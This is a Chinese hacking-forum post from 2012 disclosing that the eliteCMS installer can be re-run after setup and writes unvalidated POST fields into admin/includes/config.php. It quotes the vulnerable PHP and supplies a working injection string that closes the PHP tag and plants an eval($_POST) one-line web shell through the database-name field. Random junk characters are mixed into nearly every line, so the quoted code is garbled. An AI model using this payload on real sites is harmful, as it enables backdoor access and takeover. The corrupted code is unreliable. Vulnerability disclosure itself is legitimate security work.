找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2425|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
: ?7 B+ b$ S* {* P7 w4 W) Q/ ~2 s
/ L5 w0 p* f0 R! L8 R& i4 P" W4 N5 a另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
5 O5 x8 B+ a2 S8 }; T1 `7 {; E我们来看代码:
& J3 C# H7 |* k# n+ }( P% }  B! L& |
% Z# F' k/ {: o: a. E7 U...
8 B; g- M. B7 h* o, _3 j6 m. pelseif ($_GET['step'] == "4") {7 V  v' z8 \$ \: Q5 u/ U
    $file = "../admin/includes/config.php";
6 R* G2 _' F1 k9 g" x* _    $write = "<?php\n";8 i5 Y- v( h8 @, U
    $write .= "/**\n";
$ W2 h; @. M. L) S4 M+ [  I# g    $write .= "*\n";6 E1 z+ R! ~8 P8 R9 I/ G
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";# Y' x4 ^- z5 m1 x. }4 o
...略...) d. M# J. m& s. e
    $write .= "*\n";
6 p/ t4 {$ U3 e+ x1 d2 s    $write .= "*/\n";. X0 P: R* \" F& e* j; N8 H1 ?
    $write .= "\n";0 a- z) I! l& Q7 Q  r
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";+ ?- k4 D6 l3 D8 C9 O
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";$ `3 p+ R. f. T- W7 s: f
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";) M$ @8 C+ p8 q. ~
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";- N# b5 h* Q( f+ V6 m! `: o9 a
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
7 [. p# j# t: q; N7 p8 B    $write .= "if (!\$connection) {\n";
9 H" Y0 Q# V  p3 }5 o# ~    $write .= "        die(\"Database connection failed\" .mysql_error());\n";2 @1 j" \8 j0 [0 W4 D0 @1 h1 ?
    $write .= "        \n";6 Z/ M+ t& A! ]- H! S% S
    $write .= "} \n";
1 b# b! e) S( A    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 j8 G2 L& [7 S4 I' H+ s6 l1 d: d    $write .= "if (!\$db_select) {\n";
, \" F, c, v- u5 f: T    $write .= "        die(\"Database select failed\" .mysql_error());\n";
" N& t. q9 P9 ~& u; Z8 R( G    $write .= "        \n";3 ?- J/ R$ t6 p! o; d! _* w2 C' n
    $write .= "} \n";
5 x. Z9 f9 U' ^& n- T. b: a    $write .= "?>\n";& n6 O) ^! O" {8 U$ x+ p; T

3 {+ p& N" T9 n, Y( X$ b* R5 m    $writer = fopen($file, 'w');! S- h6 r2 i1 S$ w3 i- d5 l8 Z
...- t4 p6 Y( ]; t5 G7 C

# P! \: I. @+ K在看代码:
* k. I( J6 Q" O' z4 a: I' s 0 v, j1 ~2 a* w) z$ ]; ]
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
1 Q. Y' @( F) |" t$_SESSION['DB_NAME'] = $_POST['DB_NAME'];( H+ V( a* v. r
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$ P8 @  Q1 _/ N0 i, b1 d4 G$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
5 z2 D7 g5 n5 B! a8 p; r: y 5 b/ J/ ~3 b3 i/ q1 c1 h6 c$ U
取值未作任何验证6 u6 l' F" c# G
如果将数据库名POST数据:/ S: Q: p. [% E+ Y1 L* D
0 N2 G5 S$ P7 N, i
"?><?php eval($_POST[c]);?><?php
$ k9 C0 t6 G% b8 Q2 Y. I! B6 ]
0 f' x6 t: m' G8 Y; B! [将导致一句话后门写入/admin/includes/config.php& M# z1 M. Y7 Q2 S9 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表